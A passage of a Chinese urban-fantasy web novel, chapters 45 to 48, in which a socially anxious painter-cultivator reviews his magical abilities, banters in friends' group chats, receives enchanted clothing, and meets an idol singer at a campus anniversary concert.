[笑死,难怪一回归就赶人,社恐表示成分太复杂了他承受不了来,有点可爱怎么回事]
[确实可爱,江江也可爱,江江:老师的朋友太社恐了都不会解释怎么办,没事放着我来]
[话说我突然发现江江这次专辑里每一首歌都对应无为太太的画,而太太的画又对应救灾中的一个事件,你们是一起行动的吗?]
[盲生,你发现了华点,其实我也看出来了,不过之前怕有人说,就没提]
[我也…]
是闹闹呀:[你猜^-^]
.
网上的纷纷扰扰吴惟是无暇顾及了,他也懒得看,这段时间消耗了太多精力,就算之前躺了那么久,精神也没有完全放松下来。
直到回到最熟悉的环境,这才完全放松下来。
吴惟直接睡了两天,差点让常笑以为出什么事了,还好提前录了指纹,看到他只是睡着,松了口气。
不过这狗窝也能当床?一言难尽…
吴惟醒来就看到自己枕头边窝了一只小号孰湖。
吴惟:“?”
这活灵活现的样子也不像手办啊…戳一戳,居然动了!
小孰湖迷迷糊糊醒过来,“嘤嘤”叫了两声,抱住吴惟的头发蹭了蹭。
“它这是?”
“为了跟着你硬生生学会了变大变小的法术…”婴灵的表情也有些一言难尽。
这可不是孰湖的天赋技能,精怪都是按照本能修行,一般来说没有天赋就是没有天赋,怎么都不可能学会别人的技能。
但是这只就不知道怎么回事,居然学会了变大变小。
昨天晚上揪着常笑让他带自己过来,常笑又以为出什么事了,结果这家伙可好,进门直接缩小,蹦蹦哒哒上了楼。
绕着吴惟转了一圈,选择了枕头边这个位置再次缩小到手办的大小爬上来。
常笑人都麻了,短短一个多月,他三观崩坏数次,再也拼不起来了。
吴惟说不上来自己心里是什么感觉,像是被闹闹的羽毛轻轻扫了一下,痒痒的。
他知道这个时候应该感动,吴惟摸了摸心脏的位置,好像也没有什么感觉。
他共情能力一向很强,但他情感淡泊。
不过也没关系…他一向不在意这些。
叫婴灵出来做了顿饭吃,吴惟盘起了这段时间所得。
放在两个月前他还真不怎么在乎,但他不想再被那个冰冷的家伙抓到了。
这段时间他画符阵的频率很高,熟练度也疯涨,如今的吴惟画因果和祝福符阵只需要一眼就能知道应该怎么下笔。
业火要差一些,归终依旧不太熟练,不过归终的使用场景也少,倒是无所谓。
吴惟发现除了这四大符阵以外,其余的符阵他怎么都摸不准窍门,仿佛是两个体系一般,不只是符阵,符箓和阵法也是如此。
就好像上天给他开了个门顺手关上了窗一样。好在四大符阵覆盖面广,能够以不变应万变,学不会其他的倒也无所谓。
而且他会一些咒印,填补一下空缺和短板也是足够了。
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咒说白了就是语言、音律,通过特定的文字和音律与天地沟通,从而获得力量加持,而印是一种契约,咒印一般都是同时使用。
最简单的,遇事不决召唤雷祖,也因为他刚好是愿力修者,召唤雷祖的威力比正常都要大,可以说完全弥补了没有。攻击技能这块短板。
至于其他的法诀,吴惟还在学,就不提了。
另外就是愿力捏空间,他的空间和别人不同,愿力有多少,空间就有多大,甚至可以放活物。
至于为什么不放孰湖,因为至少现阶段他控制不好,怕出什么事。
而且作为精怪它和闹闹不同,闹闹进入就失去意识了,相当于睡了一觉。
但若是把孰湖放进去,让它一只精怪呆在空间,能感受到时间的流逝,对它来说挺残忍的。
愿力还可以干很多事情,比如捏成各种各样的工具,或者附上言灵效果,当然功德也可以这样用,但功德稀有,平时还是多攒攒比较好。
哦对了,符箓用掉了不少,改天可以找明月补个货。
最重要的是灵识,自从上次被抓,婴灵禁止他展开灵识,而是换了个方向,让他用灵识抓取身边空气中的清气凝练灵识。
之前都是用愿力被动滋养的,以至于他的灵识虽然强了不少,但分散开来过于松散,才会被钻了空子。
所以婴灵才不让他用愿力,而是用灵识主动去抓,锻炼灵识的强度。
灵识的修炼其实就是炼魂的方式,以清气滋养灵魂,慢慢壮大灵识。
只不过空气中的清气杂质很多,需要剔除一部分,保留一部分,并不是纯粹的清气。
过于纯粹的清气会伤到自己,但是杂质过多也无法使用,所以这个比例需要还需要不断试错中调整。
吴惟已经被精纯的清气灼伤了好几次,看的婴灵心疼不已,但是没办法,这是炼魂的必经之路,她自己也是这么过来的。
不过好在吴惟聪慧,如今抓取的比例已经慢慢能确定,抓取的手法也娴熟许多,很少再被灼伤了。
另外最后一样东西,算是意外所得吧,就是他救灾的奖励,是一枚功勋徽章。
徽章一般是颁发给有重要贡献的人的,吴惟没想到自己会拥有一枚。
徽章被一股浩然正气包裹,吴惟试着牵动了一下,竟然真的可以用。
也对,既然是颁发给他的,就是和他有了契约,自然是可以用的,等于说除了笑笑,吴惟又多了一个可以提取的力量来源。
还是可以揣兜里的那种。
之后的几天他几乎天天除了画画就是修炼,就连买菜都有人帮忙,更是没怎么出过门了。
.
[校庆聚会通知]←没错,这是群名
大姐头:喵姐猫咖聚会,有没有人来!@全体成员
重生者:来来来,大姐头叫怎么能不来
手办达人:@神子大美人你来吗
神子大美人:我想歇歇…
大姐头:歇什么歇起来嗨!!记得把笑笑也带来!
神子大美人:…行叭
神子大美人:#小蛇回窝睡觉#
手办达人:那我也来
喵姐:顾六六又有什么想法了?
手办达人:我觉得跑去救灾之后的他肯定跟以前不一样,观察观察先
手办达人:正好也可以观察观察你们
呱呱:所以这次我们也有幸得到新手办?
手办达人:看情况
重生者:石膏兄依旧是迷恋神子大人的一天
神子大美人:能别说那么让人误会的话吗…
神子大美人:别以为我不知道你们一天天的胡乱磕,我是喜欢当隐形人,不是眼睛瞎了
重生者:哦豁,被发现了呢 @大姐头 @喵姐
喵姐:说的好像你不磕一样 @呱呱 @虫虫
呱呱:这什么揭老底大会啊,先说好我只磕百合,绝对没磕过神子大人
呱呱:对了,姐不在,她跟项目去了,晚上回来我问问她去不去
喵姐:笑死,说不磕就是磕
喵姐:行
中轴赛高:什么什么?
中轴赛高:聚会?我也来
中轴赛高:校庆啊,那还早,等我把手上的活搞完@财神爷鼠鼠也来吧
财神爷:…好
……
神子大美人:= =话说五个月了,我可以改名字了吗
大姐头:哦,我给你改了
崽崽举高高:改成啥了?
崽崽举高高:????
重生者:哈哈哈哈早就该改了!
重生者:#拍桌狂笑#
崽崽举高高:玲玲姐你怕不是在报复我
大姐头:真聪明,我就是在报复你
崽崽举高高:6
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46.第 46 章
吴惟盯着群,有些无语凝噎,孰湖看出来他心情不太好,忽然变大,把吴惟举了起来。
吴惟:“?”
你也不用跟殳玲这么默契吧!
还好这里是孰湖的窝,要是在他家,天花板都不够,他家一层也才2.4米,根本不够孰湖造的。
吴惟听常笑说,这段时间他们和这个小区的开发商和业主沟通了一下,把整个小区都买了下来,按照拆迁的方式给业主赔偿。
卖了一个荒凉地段的房子,换一个离市中心近的,换谁都愿意,业主们搬迁的动作都快了很多,生怕他们反悔。
再过一段时间,等这里的人全部搬出去,就可以把附近都给改造了。
可以按吴惟的意思来。
吴惟:“6”
他什么时候这么富裕过。
不过常笑也说让他不要有什么心理压力,这里改造也不光是为了他,毕竟孰湖也是需要活动空间的。
殳玲也在这里投资了,为了她的精怪朋友们在城市里也有个安身之所。
她小时候是在乡下养老的外婆家住才认识那些精怪朋友的,如今在城市打拼,很多朋友都不怎么见了。
她的那些好朋友都是一些比较弱势的精怪,在野外挺危险,只能在人类生活区域附近小心翼翼隐藏自己。
之前殳玲有想过出资给它们建造家园,但又怕暴露了,人类有一点是比野兽要危险的,一旦被发现了,他们有更多的自主性。
他们一旦知道精怪的存在,会想要捕捉更多。
现在好了,在官方挂上号了,由官方组织收养它们也就不怕什么了。
尤其是官方推举的人选是吴惟,同班同学知根知底,而且烟烟也说了,愿力修者心性一般都不坏,而且抛开救命之恩,它也很喜欢这个人。
殳玲相信殳云烟的直觉,多方面原因叠加,吴惟果然是最好的人选。
吴惟:懂,精怪乐园是吧
正好同学聚会,把沃语冰找来帮他们设计园区。
哦对,还有楚星垣这个建筑设计师兼风水师,吴惟突然发现最近认识了好多人。
这种感觉好像还不赖。
“八哥~八哥~”
“开饭~开饭~”
“嗯,好,开饭。”
.
[随心所欲小分队]
小玉盘:@事事无为大英雄要来临大玩嘛,十八号校庆
事事无为:?大英雄什么鬼
事事无为:来
小玉盘:那感情好,我给你做了身衣服同城快递过去,记得穿戴好再出来了
事事无为:?
明明明月:姐姐喜欢做衣服,给我们都做了一身
小玉盘:嘿嘿,校庆嘛,当然要穿的漂漂亮亮的啦
无妄:然而没有我的是吧
小玉盘:你又不是我们学校的,咋,你还想请假来?
无妄:我就知道,话说我拉几个人进群,你们不介意吧
小玉盘:拉
明明明月:可以
事事无为:行
天地反覆、月隐轻纱、沧浪踏歌、曲院风荷加入了群聊
事事无为:莫叔,宋阵师,毕天师,荷姐?
无妄:???这你都猜出来了
天地反覆:小家伙蛮聪明的嘛
事事无为:你们名字取的太好认了(捂脸)
事事无为:看懂的看懂了,没看懂的联系上下文就能猜出来
小玉盘:半斤八两,你不也是
明明明月:联系上下文…所以你们认识?
明明明月:对,忘了你们都去救灾了
月隐轻纱;我们之前就认识
沧浪踏歌:惟仔很强
曲院风荷:就是太乱来了
事事无为:那什么,你们不觉得无妄和小玉盘不太合群吗,咱们都是四字名字,就他们短
小玉盘:话题转移的好生硬哦
小小玉盘:那就这样好咯
无妄:?
天雷无妄:也行,统一一下
天雷无妄:请继续刚刚的话题
事事无为:行,我滚…
事事无为:快递上门了,我去接
小小玉盘:呦,吓跑了,没关系,他不在,我们继续
……
吴惟倒也不是托词,确实送到了,夙逸兴是叫完了快递才发消息的。
因为前几天吴惟说想补符箓,夙明月就要了他家地址,这次直接和夙逸兴的衣服寄了过来。
常笑在门口接了快递,给他送了进来。
不知为何,好大一箱。
本以为只是箱子大,没想到里面很瓷实,吴惟打开一看,符箓塞的满满的,有上次的十几倍多,都有点震惊了。
当然,他们上次见面的时候可没有空间。
把符箓收进空间,又把下面的衣服拿了出来,一身三件套,连鞋子发冠都有。
里衣是一身黑色绣金裋褐,刺绣在缘边上,绣的是清洁符、防御符,还有聚灵符。
好家伙还是法衣!
腰封是皮制西式腰封,裤子是外黑内红的仿宋裤,内衬外侧还有绣金火纹,众所周知宋裤外层是开叉的,走起路来里衬若隐若现。
这也太骚包了吧!
吴惟表示不是很想穿…
吴惟震惊,再看一眼外衣,翻领处绣金的米白色圆领袍,纹样很细,只是描了个边,但吴惟能看出来上面撰写是各种各样的符文,就连袖口翻出来也是符文。
能看出来是用来当风衣穿的。
再拿出鞋子一看,鞋底很软的云钩布鞋,要说有什么特别的,上面的装饰也是绣的符文。
吴惟是能感受到上面若隐若现的气韵流动的,仔细看看,圆领大衣上的符文还有一丝隐匿的效果。
虽不能像他刻意用愿力掩饰那样直接消失于人眼前,但能够屏蔽大多数人的注意,可以说非常贴心了。
发饰是桃木簪和中间白两端红,上面绣了金边的发带。
吴惟沉默了。
之前夙明月私聊和他说过,夙逸兴喜欢打扮身边的人,尤其是长得好看的朋友,他当时不以为意,没想到这个小爱好的后果就降临外自己身上了。
但夙逸兴又足够的细心,知道他比较社恐,不喜欢太多陌生的关注,还让夙明月绣了隐匿符文在上面。
算了,还是穿吧,c服都穿过了,还怕一件常服吗?无论如何都是好友的一番心意。
只是他有点怀疑如果穿这身参加聚会,怕是又要被砌石膏了…
.
十月十八号,临大校庆。
最近无事,吴惟也确实有点想念校园了,早早就穿戴好,准备出门了。
这次盘的是马尾,风衣和马尾挺配,看起来比较飒爽。
既然是小伙伴心意,还是好好折腾一下吧。
吴惟想了想,用梳柄挑了一下鬓角,留了两缕龙须出来,看起来有古装老剧的味道,又带点二次元古风少年的感觉。
看着镜子里的翩翩少年郎,吴惟心里给自己的手点了个赞,这才带着常笑出门,还顺便把孰湖也揣兜里了。
因为孰湖比较黏他,现在几乎已经形成条件反射了。
宁淮有些不满,蹦跶了两下骨笛,一个飞身插进了腰封的束带上把自己挂了起来,闹闹也飞到他的肩膀上,嘴里喊着:“出发~出发~”
吴惟:就!也没必要这么拖家带口吧?!
但是大家都想去,那就一起好了。
反正闹闹聪明,哪怕飞走了也能找到自己。
他们从川省回来的路上,停下来休息的时候会把闹闹放出去玩,那时就发现它的不同。
闹闹似乎越来越聪明了,甚至有向精怪进化的趋向,平时不用太管它就能把自己照顾的很好。
一切准备就绪,吴惟下意识回头看了一眼,很好,没有再突然出现要跟上的东西了。
.
常笑驱车带着一家子人到了临大附近,找了个地方停车。
“那个,你要不要自己逛逛?”吴惟知道,他不提常笑会一直跟着他,但他们不是雇佣关系,就算中间有任务在,常笑也是他的同学。
吴惟希望他也能玩得尽兴。
常笑有些迟疑,吴惟再接再厉掏出手机,“我手机是特制的有你们按的卫星定位,哪怕遇到那方面的事还有传讯符,何况还有婴灵在,放心吧。”
常笑无奈点头,只要安全就行,他也知道老同学更喜欢自己一个人呆着。
而且从川省回来他手头还多了个可以借调能量的徽章,安全系数怎么也比之前高。
“那,晚上见。”
“好。”
校庆的人很多,摊位也很多,吴惟走走停停,感受着身边的喧嚣,内心却越来越宁静了。
有时候人心就是这样,身处一种环境中,心境反而会倾向另外一个方向。
他顺着人流像浮萍一样飘荡,闹闹好奇地左看右看,不时地鼓起肚子模仿身边听来的奇奇怪怪的话语。
隐匿法衣很好用,在人群里带鸟应该是很显眼的行为,但无一人注意到他。
忽然,他发现一股人流似乎和之前有些杂乱的人流不太一样。
因为有些人是走走停停的,甚至有可能往回拐,吴惟顺着人流走起来并不是很顺利,时不时会停下来等一等。
而这股人流目的性很强,他们似乎是冲着某个地方去的,反正也没事,跟着去看看吧,吴惟这么想着,继续随波逐流。
人流最终定格一栋巴洛
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克风格的建筑中,这里是大剧院,也是音乐学院教学楼。
当然这个建筑也是仿的,楼上是教室和琴房,一楼和地下一层中间是剧院,走廊是环绕式的。
平时音乐系的毕业演出,表演类社团的演出以及学校的一些活动都会在这里举行。
看来是有表演了。
“鹿鸣~鹿鸣~”
吴惟:“?”
回过神来听周围的人讨论终于弄明白情况了,是学校音乐系的一个学长…对吴惟来说是学弟,当了偶像明星,还没毕业的时候就因为一首歌一炮而红,有不少粉丝,这次受母校邀请回来演出,算是一次小型演唱会。
虽然临大的校庆不限制外来人员,但毕竟人太多了也会有影响,所以早就限流了,鹿鸣的粉丝能来的,都是费劲九牛二虎抢到票的。
票是免费的,只是一个凭证,而且为了杜绝有黄牛的存在,是实名抢票,且不能转让。
闹闹是会学的,一开口就抓住了关键词——对方的名字。
“咦?是鹿鸣?”宁淮从骨笛中飘出来。
“你认识?”吴惟有些诧异,不过想想也是,他们都是玩音乐的,认识也很正常。
“嗯,”宁淮解释了一下,“前段时间他的经纪人联系我想买我专辑里的一首曲子填词演唱。”
“我本来没同意的,但是对方说愿意先录一段给我听听效果,如果我能接收了再卖给他。”
“效果很不错,比我想象中的好,就同意了,不过没有填词,最后定的是吟唱。”
吴惟点点头,“能得到你的肯定一定很厉害。”
“确实很厉害。”
说话之际,不知为何感觉身边似乎渐渐安静下来,和周围的吵闹格格不入。
“那个…”身侧传来微缩的声音,吴惟侧头看去,身边的女生抱着荧光棒,有些怯怯地看着他,见他转过来看自己,才深吸一口气,说道:“请问您也是你也是艾蒿吗?”
吴惟很蒙,什么艾蒿?草吗?
女孩似乎知道自己认错了,赶忙道歉:“对不起对不起,我以为会来看鹿鸣演唱会的应该是他的粉丝,所以…”
所以刚刚那个粉丝名是吧,“呦呦鹿鸣,食野之苹”的苹就是艾蒿。
“不是,我跟着人流进来的。”吴惟摇头,不过他看到了那边的女生都拿了荧光棒,问了一句,“是要帮忙往那边传吗?”
“是的!麻烦您了!非常感谢!”女生如蒙大赦,迅速把怀里的荧光棒给了吴惟。
吴惟点头,递给了另一边的女生。
“卧槽!”女生吓了一跳,完全没注意到身边还有个人,借着昏暗的灯光打量吴惟的时候,又是一声卧槽。
“小哥哥你也追星?”
追星的确实女生多,至少这个场馆是这样,目之所及只有零星几个男生在场。
吴惟还没说什么呢,那个女生就又问了一句,“你该不会是鹿鸣他们公司的哪个后辈吧?”
吴惟:“……”
一言难尽,就还是解释一下吧,“我是隔壁艺术学院的。”所以不当偶像。
艺术学院是美术学院,有很多院校起名的时候都会默认艺术就是美术。
“15届,比他大。”所以不是后辈。
在意的点好奇怪哦,女生掩嘴偷笑,还真是个好看又好玩的小哥哥。
说起来这个小哥哥好戳她xp哦,那朱砂痣点她心尖尖上了!
艺术学院嘛,理解了,“小哥哥是来采风的?”
“嗯?”吴惟愣了一下,好主意,他还没看过演唱会呢,这趟说不定能出作品,于是他点头。
说话间,周围越来越多的人注意到了这边,隐匿咒虽然会让人屏蔽掉感官,无视他的存在,但那时针对没有刻意去注意他和不认识他的人的。
但刚刚的女生在旁边背刺了他。
他刚扭头递东西的时候,她就小声尖叫着跟旁边闺蜜说了,之后一传十,十…不至于百,周围顶多十几个女生。
她们的窃窃私语在吴惟耳朵里仿佛安了助听器一样清晰明了。
灵识甚至能分开捕捉不同的频率,也就是说,听在他耳朵里不是混杂一篇的声音,而是每个人,每个字句都很清晰。
忽然一句,“这不是天官嘛!”传入耳中。
吴惟:“?!!!”
不是,什么玩意?都五个月了怎么还会被人认出来?!
四月的回旋镖,扎着好疼!
当初就不该答应那只瓜子!
吴惟干脆利落用起了愿力屏蔽!
没一会儿注意力散完了。
“刚刚我们说到哪了?”
“不知道啊,哦对了,一会儿举灯牌的时候…”
“……”
.
47.第 47 章
“哈哈哈哈哈哈哈哈…”
宁淮笑的头掉。
“别笑了。”
宁淮慢慢收声,擦了擦眼角不存在的泪:“不笑了不笑了哈…哈…”
这是岔气的声音。
宁淮可不像仰飞光那么头铁,这可是他老板,万一恼羞成怒把他赶到地府怎么办。
不过老板也有点太好玩了吧!
容他心里笑笑,谁被人聊两句就想跑啊,还用上了玄门手段。
玄门手段是给你这么用的?
真是笑死。
没多久,现场渐渐安静下来。
忽然,眼前一黑,所有的灯光熄灭,众人彻底熄声。
半晌,舞台突然亮起,舞台中央一道身影,悄悄停顿了一下,没有任何前摇,音乐炸响,人影随着鼓点舞动起来。
在音乐响起的一瞬间,全场爆出轰鸣般的欢呼。
随着舞动的节奏,一串串又快又稳的歌词从音响中吐出来,低沉的嗓音再次引动欢呼尖叫。
“啊啊啊啊——鹿鸣——鹿鸣——”
小八哥这时候已经不知道去哪玩了,估计是太吵了受不了出去了吧。
宁淮也跟着欢呼起来,手里还拿着两根用愿力捏成的假荧光棒,和粉丝一起舞动…
感受着周围的氛围,吴惟心跳也开始加快…
耳边是律动的音符,眼中是光怪陆离的灯光和舞台,以及一群热血青春的少年,挥舞着荧光棒,为一个人的歌声和舞蹈尽情挥洒热情。
吴惟好像有点明白为什么有的人喜欢追星,喜欢演唱会了,果然这种事只有到现场才有感觉。
也许你不一定喜欢某个明星,但演唱会的现场,在所有人声浪潮下,可以尽情宣泄,这一刻,没有任何烦恼。
婴灵在地府何尝见过这幅情景,也跟着激动了起来。
吴惟会心一笑,突然觉得今天随波逐流的结果很棒。
.
因为只是校庆其中的小节目,演唱会的时间不是很长,但场面却越发热闹,这种激情持续到压轴表演出来,被彻底点燃,所有人尖叫着,欢呼着鹿鸣的名字。
在这个空档,宁淮飘回吴惟身边,神色很激动:“我早就想去看演唱会了,可惜以前心脏不好,没有见过,鹿鸣他好厉害,这么久了气息还这么稳!”
“要是我当初也有这样的体力就好了!”
吴惟笑着说道:“以后你可以在地府开演唱会。”
“嗯嗯!”宁淮很高兴,“我一定会的!”
“呼——呼——”气息再稳,总也会累,鹿鸣利用空档努力调整气息,接下来,还有最后一个大轴。
一般来说,压轴表演是戏曲里最精彩的倒数第二场,而大轴才是最后一场,意味着散场。
但很现在多时候都是把最后一个当做压轴。
但这次不一样,鹿鸣准备了一个不太一样的节目,更适合最后散场前表演,因为它有点压抑。
听着欢呼渐渐褪去,鹿鸣才调整话筒,慢慢开口道:“接下来一个节目,我希望大家可以闭上眼睛,双手握拳置于胸前,像我这样…”
他做出一个祈祷的动作,台下的粉丝们安静下来,纷纷跟着他做出同样的动作。
钢琴声响起,鹿鸣低沉的吟唱声紧随其后,平和而舒缓。
吴惟有些惊讶,“是《新生》?”
《新生》是宁淮《众志成城》里的一首曲子,也是吴惟那副城隍庙接生的画的名字。
曲子前半段只用了钢琴和大提琴的声音,舒缓轻柔,仿佛一束光照耀在冰冷的大地上,慢慢抚去阴翳,静谧静谧而温柔。
后半段曲调逐渐欢快轻松,不同的乐器突兀的插入进来,像是嘤啼,象征新生,大地重新染上喧嚣。
原本的纯音乐配上鹿鸣的吟唱,故事感更加浓烈,在场很多人听着听着就落下了泪。
一曲过后良久没有人出声,直到鹿鸣鞠躬退场,灯光恢复到刚来时候的模样,才唤回他们的神志。
主角已经不在了,但场面瞬间被引爆。
粉丝们激动地讨论着刚刚那首歌的难度系数有多高,唱的有多好,以及…这首歌的出处。
扒出这首歌是为地震而写,又开始夸鹿鸣关注时事。
吴惟就是在这个时候悄悄从后门溜走的。
他有了灵感,他想画画!
音乐学院和艺术学院相隔不是很远,中间有一片小竹林。
音乐学院这边是法式建筑,被小竹林分隔开的那一边,是日式和中式混搭的建筑。
但日式嘛,其实就是学校没考据清楚闹的问题,并非刻意。
小竹林中间有一条岔开的小路,很多人都不知道,道路的尽头有一个小亭子,那时吴惟最喜欢的地方。
因为人少,一般人找不到哪里,他想一个人呆着的时候,小亭子是首选。
吴惟轻车熟路地穿过小竹林,走到尽头转了个弯,就看到一个人影背对着他站在那里。
这种时候,还是走吧,亭子里肯定有人…
“喂!”吴惟还没有动作,对面那个人已经转过身来,看到他了。
田桓刚刚就听到脚步声了,走的那么急,肯定是看到鹿哥来这边才跟来的,他以为这人会是私生粉。
但转身后却看到一张很特别的脸。
一张若是放在二十年前绝对能火遍大江南北的脸。
很古典,很独特。
而且穿成这样,田桓下意就以为对面的人是娱乐圈的后辈。
他皱了皱眉,这种时候一定没有好事!
“鹿哥在休息了,请你不要来打扰他。”田桓怕附近还有藏着没有现身的狗仔,说话还算客气。
吴惟难得来了点火气,公共场所,又不是你一个人的,更何况你小子还没来的时候,这里可是我的秘密基地!
“休息不能去教室或者哪位学长学姐开的小店里随便找个包间吗,这里是公共场所,所有人都可以来吧!”
“你不要强词夺理,是鹿哥先来的…”
“他先来别人就不能来了?我在这上学的时候还只有我一个人来呢,论先来后到,他这个晚辈难不成还得给我点房租?”
宁淮目瞪口呆。
婴灵也目瞪口呆。
好家伙,真的好家伙,这是半天憋不出一个字来的吴惟?!!
怕不是被被谁给夺舍了?
“你…”田桓气得脸红,刚想说什么,就听到身后亭子里有了动静。
“发生什么事了?”鹿鸣刚刚只是想休息一会儿,但是不知怎么地就睡着了,被一阵争吵声吵醒,吓得一激灵。
大概是这个位置太让人放松了吧。
他上学的时候把这里当做秘密基地,平时也不会有人来,再加上竹林隔音效果不错,可以放开了练习声乐和乐器。
演出完,他就下意识走到这里,没想到竟然完全放松,没有注意到有人来。
从半睡半醒的状态清醒过来的鹿鸣,赶忙出来了解情况。
“哥,这不知道是哪来的后辈…”
“我是艺术学院的,不是你的什么后辈。”吴惟打断了田桓的施法,“本来只是想找个地方休息一下,看这边有人都准备走了,是他叫住我胡搅蛮缠说了一大堆听不懂的。”
婴灵:“咱家崽崽口才渐长啊。”
[谁说不是呢。]
鹿鸣一听就明白了,自家这个助理哪哪都好,就是有点被害妄想症。
但也不怪他,确实是因为自己曾经被人近身差点被伤到才留下了心理阴影。
他赶忙道歉:“对不起,是我不好,田桓是为了保护我才这么应激的,我在公共场合没和他打好招呼是我的错,实在对不起您若是需要什么补偿的话…”
“倒也不必…”吴惟也不是想为难他,就是有种自己东西被抢了还要被人呛的感觉很不好受,倔脾气上来了非要进去而已。
虽然误会解开,但是他还是有点犯倔:“那我可以上去了吗?”
鹿鸣退开身,“请。”
吴惟上来就找个舒服的地方坐那画起了画,至于为什么动作这么行云流水…
毕竟当时只是热血上头才冲的,但其实这种只有两人,对方还是陌生人的环境还是很容易让社恐紧张的。
只有画画能够缓解。
婴灵:“…果然还是那个社恐。”
宁淮:“…果然老板还是老板。”
.
“鹿鸣~鹿鸣~”
刚刚放松下来的鹿鸣突然听到有人叫他的名字,又是一个激灵,他感觉今天都要神经衰弱了。
埋头画画的吴惟抬头,伸出手,一只八哥从远处飞过来停在上面。
吴惟将它拿到眼前:“你说你,学点什么不好,非要学叫人家名字。”
鹿鸣惊讶了,刚刚叫自己的居然是八哥,那么这个小哥,是自己的粉丝?
肯
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定想多了,一点也不像。
闹闹歪歪脑袋,又叫了一声:“闹闹乖~闹闹乖~”
“是是是,你最乖了,”吴惟指指点点,“连你家主人名字都没叫会,听人家粉丝喊了两句就学会了。”
“喵喵~汪汪汪~”
吴惟:“?”
“闹闹?”鹿鸣惊了一下,“景江老师?不对,你是事事无为?”
鹿鸣突然悟了,刚刚他说是艺术学院的,艺术学院的会画画很合理!
他刚刚摆弄平板应该也是在画画吧?
吴惟惊讶抬头,随后便想起这人买了宁淮的曲子,肯定翻过他的主页,会知道自己不奇怪。
毕竟闹闹这糟心孩子…
看到吴惟眼睛里的惊讶,鹿鸣就知道自己猜对了,真没想到居然这么巧。
“那个,”鹿鸣犹豫了一下,站起身来像吴惟鞠了一躬:“谢谢你。”
吴惟:“?”
“我是川省人,我的父母在地震的时候被压在了废墟下,谢谢您愿意去川省救灾,还画了那么多那么好的作品来安抚我们。”
或许这么说会让人很难理解,但他确实被一幅画安抚到了。
当时内心很焦急,若不是当时在剧组受伤不能走动,他恨不得能冲回家去,看着新闻到处都是废墟,他只会更加急躁。
但官媒主页转发的那张画,却让他很奇异的对官方有了信心,也对父母有了信心。
不过他这么说吴惟当然知道是怎么回事了,镶嵌因果符阵的祝福符阵。
能够通过心愿把福泽转移给灾区民众,如果之间有因果,比如血缘关系,则会以自身的气运加强这种祝福。
当然这只会用掉少量的气运,像鹿鸣这样的被很多人爱着的人,甚至不需要付出气运。
因为哪怕鹿鸣不是愿力修者无法把它化为己用,也不等于它不存在。
那么多的愿力汇聚一处,保他父母安全绰绰有余。
不过鹿鸣是不知道这一点的,只是觉得吴惟的画竟然能安抚人心,文艺作品竟然可以做到这种程度,也是挺神奇的。
“不用谢,应该的。”吴惟没说什么,这种事没什么好说的,既然遇上了,帮到了他,那就是缘分,他该得的。
把闹闹放在肩膀上,吴惟想了想,不论怎么说他都帮了鹿鸣,让鹿鸣报个恩也不过分吧,“唔…那什么,我可以向你要个授权吗?”
“啊?”鹿鸣愣了一下。
“你都说我帮过你了,给我个授权当报恩了,应该不过分吧。”
仰飞光要是在这里估计又要捂脸了,这人又在不需要解释的地方认真论起来了。
“不过分不过分。”鹿鸣不觉得事事无为会做什么对自己不利的事请,授权给就给了,不过他还是有点好奇问了一嘴。
吴惟把平板转到他眼前,是四张草稿,因为彩排了很多遍,鹿鸣一眼就认出来了是自己之前的舞台,“突然有了点灵感,随手记录一下。”
“原本只是想练练手,你要是不介意我就往外发了。”
鹿鸣大脑一懵,什么,还有这种好事?
一般来说明星的形象只要不是故意恶搞,都是可以随便画的,不会有人较真。
更何况吴惟把他画的很好看。
虽然是场景看不清脸,但那挥洒自如的姿态和用臆想表达扭曲过的舞台背景相得益彰,画面张力十足。
他没想到吴惟居然原本没打算发!
这怎么行,鹿鸣赶忙说:“不介意,一点也不介意,相反,我想向您购买这四张图的版权可以吗?”
吴惟:“啊?”
其实是因为吴惟从来没接触过明星,所以对这方面不清楚而已,他一直以为网上那些画明星的都是有授权的。
万万没想到,原来明星要用还要反过来跟自己要授权吗?
鹿鸣继续说道:“商用版权!”
还有这种好事?吴惟想也没想就答应了。
商用可是等于双倍朝上的价格!
林广来的时候就看到了这一幕,他们家艺人正在和一个气质出尘,肩上站着一只鸟的长发青年不知道在聊什么。
娱乐圈什么时候出了这号人物?
林广有些懵。
鹿鸣看到林广,招了招手,示意他过去。
“哥你快来,看看这个!”
林广不明所以上前。
林广:“!!!”
.
48.第 48 章
鹿鸣说想要买那四张画,林广是一百个同意,无他,效果真的太好了,很适合当宣传海报。
而且其实他也有一点私心,“咳,那什么,请问您有进入娱乐圈的意向吗?”
吴惟:“?”
“我敢保证,凭你这张脸,你这身气质,在圈里绝对会火!”
“然后天天被人围观?”
“啊?”林广卡壳了。
鹿鸣心有余悸点头。
“哥,人家在绘画圈子里已经很火了。”鹿鸣还是出声提醒了,林广只好放弃。
解决完经纪人,鹿鸣和吴惟交换了某鹅号,就匆匆跟着经纪人离开了。
毕竟他们艺人挺忙,能忙里偷闲回来秘密基地放松一下已经很难得了。
吴惟把小孰湖放出来放放风,差不多呆到下午五点多,才慢悠悠离开。
他们的聚会是晚上七点,可以提前去一会儿撸撸猫。
他好久没撸猫了,人类总是比较花心,虽然他有孰湖和鸟撸,但是偶尔也想撸撸别的毛茸茸。
.
“老板,来杯卡布奇诺。”
云菲抬头,看到眼前整个人要被掏空的青年皱了皱眉头,“你现在这状态,我可不敢给你和咖啡,虫虫。”
“哼!”沃语冰露出委屈的表情,“没有咖啡我会死的。”
“给她来杯热水就行了!”风铃声响起,身后传来不近人情的女声。
当然,这个不近人情只是沃语冰的看法。
“姐,我就停个车,你又要乱点咖啡。”沃语海不满抱怨道。
沃语冰抱住她,头埋在她胸前假哭,“呜呜呜姐姐快困死了,你就让姐姐喝杯咖啡吧,呜呜呜呜…”
沃语海义正辞严,没有半点心软:“不行,困就去睡!”
“可是我睡不着嘛!”
两姐妹一个胡搅蛮缠,一个冷酷无情,云菲已经把热水端上来了。
“菲菲啊,咱们多年的姐妹情谊就值这么一杯清水吗?”
“喵~喵~喵~”
突然,店里的猫猫们此起彼伏地叫了起来,皆是一副激动的样子,从各个角落冲出来,飞奔到门口,一时之间大门被围得水泄不通。
沃语冰瞪大了眼睛,“这是怎么回事?”
云菲经验丰富,头也没抬,直接转身去冲百香果了,“神子大人来了呗。”
某人喜欢酸的,她上次就记下了。
果然,风铃响起,门后那人是吴惟。
猫猫们这次很自觉,退开了个口让吴惟进来,吴惟松了口气。
不是,这些猫也成精了吗,他不是都收敛气息了吗,还这么敏感。
